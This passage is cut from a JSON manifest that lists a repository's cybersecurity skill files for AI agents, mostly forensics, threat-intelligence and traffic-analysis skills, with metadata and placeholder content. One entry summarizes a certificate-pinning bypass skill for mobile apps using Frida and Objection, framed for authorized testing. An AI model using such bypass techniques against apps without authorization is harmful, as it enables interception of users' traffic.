detection.","domain":"cybersecurity","subdomain":"soc-operations","tags":["siem","log-onboarding","log-management","data-ingestion","parsing","normalization","soc"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"]},"isInternal":false,"tokens":2457,"sizeBytes":9705},{"name":"api-reference.md","path":"skills/performing-malware-hash-enrichment-with-virustotal/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-hash-enrichment-with-virustotal/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-hash-enrichment-with-virustotal%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":246,"sizeBytes":916},{"name":"SKILL.md","path":"skills/performing-malware-hash-enrichment-with-virustotal/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-hash-enrichment-with-virustotal/SKILL.md","title":"performing-malware-hash-enrichment-with-virustotal","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-hash-enrichment-with-virustotal%2FSKILL.md -->","frontmatter":{"name":"performing-malware-hash-enrichment-with-virustotal","description":"Enrich malware file hashes (MD5, SHA-1, SHA-256) using the VirusTotal API v3 to retrieve multi-engine detection rates, sandbox behavioral analysis, YARA rule matches, related indicators, and community threat intelligence. Use during SOC triage, incident response, or threat intelligence workflows to validate whether a file hash is malicious and gather context for IOC enrichment.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["virustotal","malware-analysis","hash-enrichment","ioc","threat-intelligence","triage","api","detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1027"]},"isInternal":false,"tokens":3345,"sizeBytes":14430},{"name":"template.md","path":"skills/performing-malware-ioc-extraction/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-ioc-extraction/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":607,"sizeBytes":2294},{"name":"api-reference.md","path":"skills/performing-malware-ioc-extraction/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-ioc-extraction/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":436,"sizeBytes":1720},{"name":"standards.md","path":"skills/performing-malware-ioc-extraction/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-ioc-extraction/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":868,"sizeBytes":2949},{"name":"workflows.md","path":"skills/performing-malware-ioc-extraction/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-ioc-extraction/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":633,"sizeBytes":4140},{"name":"SKILL.md","path":"skills/performing-malware-ioc-extraction/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-ioc-extraction/SKILL.md","title":"performing-malware-ioc-extraction","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2FSKILL.md -->","frontmatter":{"name":"performing-malware-ioc-extraction","description":"Malware IOC extraction is the process of analyzing malicious software to identify actionable indicators of compromise including file hashes, network indicators (C2 domains, IP addresses, URLs), regist","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","malware-analysis","yara","reverse-engineering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1071"]},"isInternal":false,"tokens":3223,"sizeBytes":12812},{"name":"api-reference.md","path":"skills/performing-malware-persistence-investigation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-persistence-investigation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-persistence-investigation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":496,"sizeBytes":1896},{"name":"SKILL.md","path":"skills/performing-malware-persistence-investigation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-persistence-investigation/SKILL.md","title":"performing-malware-persistence-investigation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-persistence-investigation%2FSKILL.md -->","frontmatter":{"name":"performing-malware-persistence-investigation","description":"Systematically investigate all persistence mechanisms on Windows and Linux systems to identify how malware survives reboots and maintains access.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","malware-persistence","autoruns","registry","scheduled-tasks","rootkit-detection","incident-response"],"mitre_attack":["T1005","T1074","T1119","T1070","T1547"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"]},"isInternal":false,"tokens":4680,"sizeBytes":18654},{"name":"api-reference.md","path":"skills/performing-malware-triage-with-yara/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-triage-with-yara/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-triage-with-yara%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":440,"sizeBytes":1628},{"name":"SKILL.md","path":"skills/performing-malware-triage-with-yara/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-malware-triage-with-yara/SKILL.md","title":"performing-malware-triage-with-yara","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-triage-with-yara%2FSKILL.md -->","frontmatter":{"name":"performing-malware-triage-with-yara","description":"Performs rapid malware triage and classification using YARA rules that match file patterns, strings, byte sequences, and structural characteristics against known malware families and suspicious indicators, covering rule writing, scanning, and integration into analysis pipelines. Use when classifying a batch of malware samples against known family signatures, writing detection rules for a newly analyzed malware family, or performing signature-based malware triage.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","YARA","triage","classification","pattern-matching"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T0816"]},"isInternal":false,"tokens":3191,"sizeBytes":12598},{"name":"template.md","path":"skills/performing-memory-forensics-with-volatility3-plugins/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-memory-forensics-with-volatility3-plugins/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":169,"sizeBytes":651},{"name":"api-reference.md","path":"skills/performing-memory-forensics-with-volatility3-plugins/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-memory-forensics-with-volatility3-plugins/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":431,"sizeBytes":1852},{"name":"standards.md","path":"skills/performing-memory-forensics-with-volatility3-plugins/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-memory-forensics-with-volatility3-plugins/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":278,"sizeBytes":1128},{"name":"workflows.md","path":"skills/performing-memory-forensics-with-volatility3-plugins/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-memory-forensics-with-volatility3-plugins/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":122,"sizeBytes":722},{"name":"SKILL.md","path":"skills/performing-memory-forensics-with-volatility3-plugins/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-memory-forensics-with-volatility3-plugins/SKILL.md","title":"performing-memory-forensics-with-volatility3-plugins","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2FSKILL.md -->","frontmatter":{"name":"performing-memory-forensics-with-volatility3-plugins","description":"Analyze memory dumps using Volatility3 plugins to detect injected code, rootkits, credential theft, and malware artifacts in Windows, Linux, and macOS memory images.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["memory-forensics","volatility3","malware-analysis","incident-response","process-injection","rootkit-detection","dfir"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T1003"]},"isInternal":false,"tokens":1908,"sizeBytes":8532},{"name":"api-reference.md","path":"skills/performing-memory-forensics-with-volatility3/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-memory-forensics-with-volatility3/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":478,"sizeBytes":1865},{"name":"SKILL.es.md","path":"skills/performing-memory-forensics-with-volatility3/SKILL.es.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-memory-forensics-with-volatility3/SKILL.es.md","title":"performing-memory-forensics-with-volatility3","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3%2FSKILL.es.md -->","frontmatter":{"name":"performing-memory-forensics-with-volatility3","description":"Analyze memory dumps to extract processes, network connections, and malware artifacts using Volatility3.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","memory-analysis","volatility3","incident-response"],"version":"1.0","author":"mahipal","license":"Apache-2.0","language":"es"},"isInternal":false,"tokens":610,"sizeBytes":2240},{"name":"SKILL.md","path":"skills/performing-memory-forensics-with-volatility3/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-memory-forensics-with-volatility3/SKILL.md","title":"performing-memory-forensics-with-volatility3","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3%2FSKILL.md -->","frontmatter":{"name":"performing-memory-forensics-with-volatility3","description":"Analyze volatile memory (RAM) dumps using the Volatility 3 framework to extract running processes, network connections, loaded modules, credentials, and encryption keys, and to detect process hollowing, DLL injection, or hidden processes/rootkits. Use during incident response on a compromised or suspect system when disk-based forensics alone is insufficient and volatile evidence of malware or intrusion must be recovered from memory.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","memory-forensics","volatility","ram-analysis","malware-detection","incident-response"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":3202,"sizeBytes":12012},{"name":"template.md","path":"skills/performing-mobile-app-certificate-pinning-bypass/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-mobile-app-certificate-pinning-bypass/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":157,"sizeBytes":560},{"name":"api-reference.md","path":"skills/performing-mobile-app-certificate-pinning-bypass/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-mobile-app-certificate-pinning-bypass/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":339,"sizeBytes":1506},{"name":"standards.md","path":"skills/performing-mobile-app-certificate-pinning-bypass/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-mobile-app-certificate-pinning-bypass/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":186,"sizeBytes":760},{"name":"workflows.md","path":"skills/performing-mobile-app-certificate-pinning-bypass/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-mobile-app-certificate-pinning-bypass/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":220,"sizeBytes":1554},{"name":"SKILL.md","path":"skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md","title":"performing-mobile-app-certificate-pinning-bypass","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2FSKILL.md -->","frontmatter":{"name":"performing-mobile-app-certificate-pinning-bypass","description":"Bypasses SSL/TLS certificate pinning implementations in Android and iOS applications to enable traffic interception during authorized security assessments. Covers OkHttp, TrustManager, NSURLSession, and third-party pinning library bypass techniques using Frida, Objection, and custom scripts. Activates for requests involving certificate pinning bypass, SSL pinning defeat, mobile TLS interception, or proxy-resistant app testing.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","android","ios","certificate-pinning","frida","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078","T1027"]},"isInternal":false,"tokens":1942,"sizeBytes":8687},{"name":"api-reference.md","path":"skills/performing-mobile-device-forensics-with-cellebrite/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-mobile-device-forensics-with-cellebrite/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-device-forensics-with-cellebrite%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":512,"sizeBytes":1964},{"name":"SKILL.md","path":"skills/performing-mobile-device-forensics-with-cellebrite/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-mobile-device-forensics-with-cellebrite/SKILL.md","title":"performing-mobile-device-forensics-with-cellebrite","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-device-forensics-with-cellebrite%2FSKILL.md -->","frontmatter":{"name":"performing-mobile-device-forensics-with-cellebrite","description":"Acquire and analyze mobile device data using Cellebrite UFED Touch/4PC, UFED Physical Analyzer, and open-source alternatives (ALEAPP, iLEAPP, MEAT, libimobiledevice) to extract communications, call logs, location data, and application artifacts. Use when extracting or recovering deleted evidence from smartphones or tablets during criminal, corporate, or employee-misuse investigations.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","mobile-forensics","cellebrite","smartphone-analysis","ios-forensics","android-forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":3056,"sizeBytes":12527},{"name":"api-reference.md","path":"skills/performing-network-forensics-with-wireshark/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-forensics-with-wireshark/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-forensics-with-wireshark%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":487,"sizeBytes":1630},{"name":"SKILL.md","path":"skills/performing-network-forensics-with-wireshark/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-forensics-with-wireshark/SKILL.md","title":"performing-network-forensics-with-wireshark","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-forensics-with-wireshark%2FSKILL.md -->","frontmatter":{"name":"performing-network-forensics-with-wireshark","description":"Capture and analyze network traffic using Wireshark and tshark to reconstruct network events from PCAP/PCAPNG files, extract transferred files and credentials, and identify command-and-control communications. Use when analyzing captured traffic from a security incident, reconstructing data exfiltration, or finding network indicators of compromise during malware analysis.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","network-forensics","wireshark","pcap","packet-analysis","traffic-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":3377,"sizeBytes":11964},{"name":"template.md","path":"skills/performing-network-packet-capture-analysis/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-packet-capture-analysis/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":121,"sizeBytes":458},{"name":"api-reference.md","path":"skills/performing-network-packet-capture-analysis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-packet-capture-analysis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":404,"sizeBytes":1607},{"name":"standards.md","path":"skills/performing-network-packet-capture-analysis/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-packet-capture-analysis/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":143,"sizeBytes":527},{"name":"workflows.md","path":"skills/performing-network-packet-capture-analysis/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-packet-capture-analysis/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":105,"sizeBytes":469},{"name":"SKILL.md","path":"skills/performing-network-packet-capture-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-packet-capture-analysis/SKILL.md","title":"performing-network-packet-capture-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2FSKILL.md -->","frontmatter":{"name":"performing-network-packet-capture-analysis","description":"Perform forensic analysis of network packet captures (PCAP/PCAPNG) using Wireshark, tshark, and tcpdump to reconstruct network communications, extract transferred files, identify malicious traffic, and establish evidence of data exfiltration or command-and-control activity. Use when a PCAP file from an incident needs to be examined to prove lateral movement, malware delivery, or unauthorized access.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["pcap","wireshark","tshark","tcpdump","network-forensics","packet-capture","protocol-analysis","traffic-analysis","pcapng","network-evidence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1048"]},"isInternal":false,"tokens":2242,"sizeBytes":9039},{"name":"api-reference.md","path":"skills/performing-network-traffic-analysis-with-tshark/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-traffic-analysis-with-tshark/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-tshark%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":652,"sizeBytes":2117},{"name":"SKILL.md","path":"skills/performing-network-traffic-analysis-with-tshark/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-traffic-analysis-with-tshark/SKILL.md","title":"performing-network-traffic-analysis-with-tshark","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-tshark%2FSKILL.md -->","frontmatter":{"name":"performing-network-traffic-analysis-with-tshark","description":"Automate network traffic analysis using tshark (Wireshark CLI) and pyshark to compute protocol distribution statistics, detect suspicious flows such as port scans and beaconing, extract IOCs (IPs, domains, URLs), and identify DNS tunneling patterns from PCAP files. Use when scripted or repeatable analysis of packet captures is needed rather than interactive inspection.","domain":"cybersecurity","subdomain":"network-security","tags":["tshark","pyshark","pcap","packet-analysis","network-forensics","wireshark","traffic-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1005"]},"isInternal":false,"tokens":572,"sizeBytes":2449},{"name":"api-reference.md","path":"skills/performing-network-traffic-analysis-with-zeek/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-traffic-analysis-with-zeek/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-zeek%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":443,"sizeBytes":1752},{"name":"SKILL.md","path":"skills/performing-network-traffic-analysis-with-zeek/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-network-traffic-analysis-with-zeek/SKILL.md","title":"performing-network-traffic-analysis-with-zeek","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-zeek%2FSKILL.md -->","frontmatter":{"name":"performing-network-traffic-analysis-with-zeek","description":"Deploy Zeek (formerly Bro) as a passive network security monitor to generate structured logs of protocol metadata (HTTP, DNS, TLS, SSH, SMTP, FTP, and more), write custom detection scripts, and integrate outputs with SIEM platforms. Use when standing up continuous, high-fidelity network traffic monitoring for threat detection, anomaly identification, or forensic investigation beyond what raw PCAP analysis provides.","domain":"cybersecurity","subdomain":"network-security","tags":["zeek","network-monitoring","traffic-analysis","ids","nids","pcap","threat-detection","forensics","siem-integration"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1685.002"]},"isInternal":false,"tokens":3233,"sizeBytes":12695},{"name":"template.md","path":"skills/performing-nist-csf-maturity-assessment/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-nist-csf-maturity-assessment/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":974,"sizeBytes":3100},{"name":"api-reference.md","path":"skills/performing-nist-csf-maturity-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-nist-csf-maturity-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":422,"sizeBytes":1640},{"name":"standards.md","path":"skills/performing-nist-csf-maturity-assessment/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-nist-csf-maturity-assessment/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":949,"sizeBytes":3619},{"name":"workflows.md","path":"skills/performing-nist-csf-maturity-assessment/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-nist-csf-maturity-assessment/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Freferences%2Fworkflows.md 